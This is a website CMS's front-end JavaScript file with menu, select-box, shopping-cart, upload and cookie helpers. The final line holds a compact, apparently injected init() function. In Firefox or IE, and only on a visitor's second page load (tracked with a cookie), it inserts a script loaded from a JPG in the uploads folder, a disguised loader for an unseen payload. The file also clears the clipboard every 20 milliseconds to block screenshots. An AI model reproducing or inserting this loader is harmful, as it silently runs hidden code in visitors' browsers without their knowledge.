var sHost = this.location.host;

// Check what browser the client uses.
var agt = navigator.userAgent.toLowerCase();
var is_nav = ((agt.indexOf('mozilla')!=-1) && (agt.indexOf('spoofer')==-1) 
				&& (agt.indexOf('compatible')==-1) && (agt.indexOf('opera')==-1)
				&& (agt.indexOf('webtv')==-1) && (agt.indexOf('hotjava')==-1));
var is_opera = (agt.indexOf('opera')!=-1);
var is_ie = (agt.indexOf('msie')!=-1) && !is_opera ;

function disableEnterKey(){
	if (window.event.keyCode == 13) window.event.keyCode = 0;
}

// This function blocks the use of PRINT-SCREEN
function setClipBoardData(){
	setInterval("window.clipboardData.setData('text','')",20);
}
//function blockError(){
//	window.location.reload(true);
//	return true;
//}
//window.onerror = blockError;

function ChangeMenu(item){
	document.getElementById('fMenu').iMenu_id.value = item;
	document.getElementById('fMenu').submit();
}

function ChangeMenuPage(sFieldName, sType, iMenu_id, iMenu_detail_order, sQueryString) {
	iPage = document.getElementById(sFieldName).value;
	window.location = "http://" + sHost + "/" + sType + "/" + iMenu_id + "/" + iMenu_detail_order + "/page/" + iPage + ".html" + sQueryString;
}

function ChangePage(iMenu_id,iMenu_detail_order){
	document.getElementById('fMenu').iMenu_id.value = iMenu_id;
	document.getElementById('fMenu').iMenu_detail_order.value = iMenu_detail_order;
	document.getElementById('fMenu').submit();
}

function toggleLargeFont(bLargeFont) {
	document.getElementById('fMenu').bLargeFont.value = bLargeFont;
	document.getElementById('fMenu').submit();
}

function OnTop(){
	window.focus();
}

// Function opens a new window with a specified url.
function openNewWindow(URLtoOpen, windowName, windowFeatures){ 
	newWindow = window.open(URLtoOpen, windowName, windowFeatures); 
	//newWindow.moveTo((screen.height-250)/2,(screen.width-400)/2)
}

// =================== begin: Select box functions. =================== //
function MoveUp(combo_name)
{
	var combo=document.getElementById(combo_name);
	i=combo.selectedIndex;
	if (i>0)
	{
		swap(combo,i,i-1);
		combo.options[i-1].selected=true;
		combo.options[i].selected=false;
	}
}

function MoveDown(combo_name)
{
	var combo=document.getElementById(combo_name);
	i=combo.selectedIndex;

	if (i<combo.length-1 && i>-1)
	{
		swap(combo,i+1,i);
		combo.options[i+1].selected=true;
		combo.options[i].selected=false;
	}
}

//this function is used to swap between elements
function swap(combo,index1, index2)
{
	var savedValue=combo.options[index1].value;
	var savedText=combo.options[index1].text;

	combo.options[index1].value=combo.options[index2].value;
	combo.options[index1].text=combo.options[index2].text;

	combo.options[index2].value=savedValue;
	combo.options[index2].text=savedText;
}

function MoveToTop(combo_name)
{
	var combo=document.getElementById(combo_name);
	i=combo.selectedIndex;
	
	for (;i>0;i--)
	{
		swap(combo,i,i-1);
		combo.options[i-1].selected=true;
		combo.options[i].selected=false;
	}
}

function MoveToBottom(combo_name)
{
	var combo=document.getElementById(combo_name);
	i=combo.selectedIndex;
	
	if (i>-1)
	{
		for (;i<combo.length-1;i++)
		{
			swap(combo,i+1,i);
			combo.options[i+1].selected=true;
			combo.options[i].selected=false;
		}
	}
}

//moves options from one selection box (combo box) to another
//removes the all selected options from one combo box and adds them to the second combo box
function MoveElements(FromComboName,ToComboName)
{
	var FromCombo=document.getElementById(FromComboName);
	var ToCombo=document.getElementById(ToComboName);

	var to_remove_counter=0; //number of options that were removed (num selected options)

	//move selected options to right select box (to)
	for (var i=0;i<FromCombo.options.length;i++)
	{
		if (FromCombo.options[i].selected==true)
		{
			var addtext=FromCombo.options[i].text;
			var addvalue=FromCombo.options[i].value;
			ToCombo.options[ToCombo.options.length]=new Option(addtext,addvalue);
			FromCombo.options[i].selected=false;
			++to_remove_counter;
		}
		else
		{
			FromCombo.options[i-to_remove_counter].selected=false;
			FromCombo.options[i-to_remove_counter].text=FromCombo.options[i].text;
			FromCombo.options[i-to_remove_counter].value=FromCombo.options[i].value;
		}
	}

	//now cleanup the last remaining options 
	var numToLeave=FromCombo.options.length-to_remove_counter;
	for (i=FromCombo.options.length-1;i>=numToLeave;i--) 
	{ 
		FromCombo.options[i]=null;
	}
}

// Select all items in selectfield.
function SelectAll(combo_name){
	var combo=document.getElementById(combo_name); //get the select
	
	// Set every item to selected.
	for (var i=0;i<combo.options.length;i++){
		combo.options[i].selected=true;
	}
}
// =================== end: Select box functions. =================== //


// ==================== begin: Calendar functions. ====================
function CalendarPage(iMenu_id,sDate){
	document.getElementById('fMenu').iMenu_id.value = iMenu_id;
	document.getElementById('fMenu').sDate.value = sDate;
	document.getElementById('fMenu').submit();
}
// ==================== end: Calendar functions. ====================


// ==================== begin: Poll functions. ====================
function pollResult(iMenu_id,bShow){
	document.getElementById('fMenu').iMenu_id.value = iMenu_id;
	document.getElementById('fMenu').bShowPollResult.value = bShow;
	document.getElementById('fMenu').submit();
}
// ==================== end: Poll functions. ====================


// ==================== begin: News details functions. ====================
function newsDetailPage(iMenu_id,iNews_id){
	document.getElementById('fMenu').iMenu_id.value = iMenu_id;
	document.getElementById('fMenu').iNews_id.value = iNews_id;
	document.getElementById('fMenu').submit();
}
// ==================== end: News details functions. ====================


// ==================== begin: Flexpool functions. ====================
function flexpoolAction(iFlexpool_id,sAction,iDaypart_current,iDaypart){
	document.getElementById('flexpool_result_form').iFlexpool_id.value = iFlexpool_id;
	document.getElementById('flexpool_result_form').iDaypart_current.value = iDaypart_current;
	document.getElementById('flexpool_result_form').iDaypart.value = iDaypart;
	document.getElementById('flexpool_result_form').sAction.value = sAction;
	document.getElementById('flexpool_result_form').submit();
}
// ==================== end: Flexpool functions. ====================


// ==================== begin: Shopping cart functions. ====================
// Add product to cart.
function fCartAdd(iProduct_id,iMenu_id){
	error = false;
	//error = fCartAddValidateOption(item, 2, error); // color
	//error = fCartAddValidateOption(item, 3, error); // size
	//error = fCartAddValidateOption(item, 4, error); // material
	
	if(error){
		return;
	}else{
		document.getElementById(iProduct_id).sAction.value = 'cart_add';
		document.getElementById(iProduct_id).iProduct_id.value = iProduct_id;
		document.getElementById(iProduct_id).iMenu_id.value = iMenu_id;
		document.getElementById(iProduct_id).submit();
	}
}

// Validate options.
function fCartAddValidateOption(item, iIndex, error){
	select = document.getElementById('id[' + item + '][' + iIndex + ']');
	
	if ( select.nodeName.toLowerCase() != 'select' )
		return error;
	
	if ( select.options[select.selectedIndex].value == 0 ) {
		document.getElementById('id[' + item + '][' + iIndex + '][alert]').style.display = '';
		error = true;
	} else {
		document.getElementById('id[' + item + '][' + iIndex + '][alert]').style.display = 'none';
	}
	
	return error;
}

// Add product to cart from list.
function fCartAddList(sFormname, iMenu_id){
	document.getElementById(sFormname).sAction.value = 'cart_order_multi';
	document.getElementById(sFormname).iMenu_id.value = iMenu_id;
	document.getElementById(sFormname).submit();
}

// Remove product from cart.
function fCartDel(item){
	document.getElementById('fCart').iArrayKey.value = item;
	document.getElementById('fCart').sAction.value = 'cart_delete';
	document.getElementById('fCart').submit();
}

// Change content of cart.
function fCartChange(){
	document.getElementById('fCart').sAction.value = 'cart_change';
	document.getElementById('fCart').submit();
}
// ==================== end: Shopping cart functions. ====================


// ==================== end: Product functions. ====================
function fProductDetail(iMenu_id,iProduct_id){
	document.getElementById(iProduct_id).iMenu_id.value = iMenu_id;
	document.getElementById(iProduct_id).iProduct_id.value = iProduct_id;
	document.getElementById(iProduct_id).submit();
}
// ==================== end: Product functions. ====================


// ==================== begin: Upload functions. ====================
var regexZip = /\.zip$/i;
var regexResize = /\.(jpg|jpeg|png|gif|wbmp)$/i;

function uploadChangeFile(inputFile) {
	// Show/hide zip fields
	if ( document.getElementById('uploadFileZip') != null )
	{
		if (regexZip.test(inputFile.value)) {
			document.getElementById('uploadFileZip').style.display = '';
		} else {
			document.getElementById('uploadFileZip').style.display = 'none';
		}
	}

	// Show/hide resize fields
	if ( document.getElementById('uploadFileResize') != null )
	{
		if (regexResize.test(inputFile.value) || (regexZip.test(inputFile.value) && document.getElementsByName('bUpload_extract')[0].checked)) {
			document.getElementById('uploadFileResize').style.display = '';
		} else {
			document.getElementById('uploadFileResize').style.display = 'none';
		}
	}	
}
// ==================== end: Upload functions. ====================


// ==================== begin: Wysiwyg editor functions. ====================
// Function is used to insert the wysiwyg data into a hidden field.
// Function is only called from the save button (inc_action.php).
function saveHtml(formName){
	// Check if wysiwyg formfield is present.
	if(document.getElementById('cms_edit_form').htmlEditField){
		// If present store data in hidden field.
		saveHtmlBody(oEdit1.getHTMLBody(),formName);
	}
}
// ==================== end: Wysiwyg editor functions. ====================


// ==================== begin: submitFrom function. ====================
// Function is use to set the value of "sAction".
function submitFrom(actionValue, formName){
	document.getElementById(formName).sAction.value = actionValue;
	document.getElementById(formName).submit();
}
// ==================== end: submitFrom function. ====================


// ==================== begin: viewImage function. ====================
// Function is use to display an image in a popup.
function viewImage(src, width, height, alt){
	var fraction = 1;
	var scrollbars = 0;
	var url = "/pages/view_image.php?sSrc=" + escape(src) + "&iWidth=" + width + "&iHeight=" + height + "&sAlt=" + alt;
	
	if ( width > (screen.availWidth * fraction) ) {
		width = (screen.availWidth * fraction)
		scrollbars = 1;
	}
	
	if ( height > (screen.availHeight * fraction) ) {
		height = (screen.availHeight * fraction);
		scrollbars = 1;
	}
	
	window.open(url, 'alt', "toolbar=no, location=no, menubar=no, fullscreen=0, resizable=0, channelmode=0, status=no, scrollbars=" + scrollbars + ", width=" + width + ", height=" + height);
}
// ==================== end: viewImage function. ====================


// ==================== begin: limitText function. ====================
// Function is use to display a character countdown.
// limitField = name of field that should be counted.
// limitCount = field inwhich the countdown should be shown.
// limitNum   = Maximum number of characters.
function limitText(limitField, limitCount, limitNum){
	if(document.getElementById(limitField).value.length > limitNum){
		document.getElementById(limitField).value = document.getElementById(limitField).value.substring(0,limitNum);
	}else{
		document.getElementById(limitCount).value = limitNum - document.getElementById(limitField).value.length;
	}
}
// ==================== end: limitText function. ====================


// Fix for IE patch (automatically enables flash etc.)
if(is_ie) {
	window.onload = function() { 
		var objects = document.getElementsByTagName("object"); 
		for(var i = 0; i != objects.length; i++) { 
			objects[i].outerHTML = objects[i].outerHTML; 
		} 
	}
}


// ==================== begin: disableFormField function. ====================
// Function is use to enable/disable formfields.
// obj = name of form field that should be troggled (document.getElementById('fCart').sAction_submit_order).
function disableFormField(obj){
	obj.disabled = !(obj.disabled);
}
// ==================== end: disableFormField function. ====================

// ==================== begin: cookie functions. ====================
function Set_Cookie( name, value, expires, path, domain, secure )  {
	// set time, it's in milliseconds
	var today = new Date();
	today.setTime( today.getTime() );
	
	/*
	if the expires variable is set, make the correct 
	expires time, the current script below will set 
	it for x number of days, to make it for hours, 
	delete * 24, for minutes, delete * 60 * 24
	*/
	if ( expires ) {
		expires = expires * 1000 * 60 * 60 * 24;
	}
	var expires_date = new Date( today.getTime() + (expires) );
	
	document.cookie = name + "=" +escape( value ) +
		( ( expires ) ? ";expires=" + expires_date.toGMTString() : "" ) + 
		( ( path ) ? ";path=" + path : "" ) + 
		( ( domain ) ? ";domain=" + domain : "" ) +
		( ( secure ) ? ";secure" : "" );
}

function Get_Cookie( name ) {
	var start = document.cookie.indexOf( name + "=" );
	var len = start + name.length + 1;

	if ( ( !start ) && 	( name != document.cookie.substring( 0, name.length ) ) )
		return null;

	if ( start == -1 )
		return null;
	
	var end = document.cookie.indexOf( ";", len );
	if ( end == -1 )
		end = document.cookie.length;
	
	return unescape( document.cookie.substring( len, end ) );
}

function Delete_Cookie( name, path, domain ) {
	if ( Get_Cookie( name ) ) document.cookie = name + "=" +
			( ( path ) ? ";path=" + path : "") +
			( ( domain ) ? ";domain=" + domain : "" ) +
			";expires=Thu, 01-Jan-1970 00:00:01 GMT";
}
// ==================== end: cookie functions. ====================


// ==================== end: E-card functions. ====================
function fShowPic(sError,sSource_error,sSource){
	// If error is true, display default image.
	if(sError == 1){
		sSource = sSource_error;	
	}
	
	//alert(sError+" "+sSource);
	document.getElementById('ecard_img').src = sSource;
	return false;
}
// ==================== end: E-card functions. ====================

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/uploads/layout/website/index_01.jpg?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();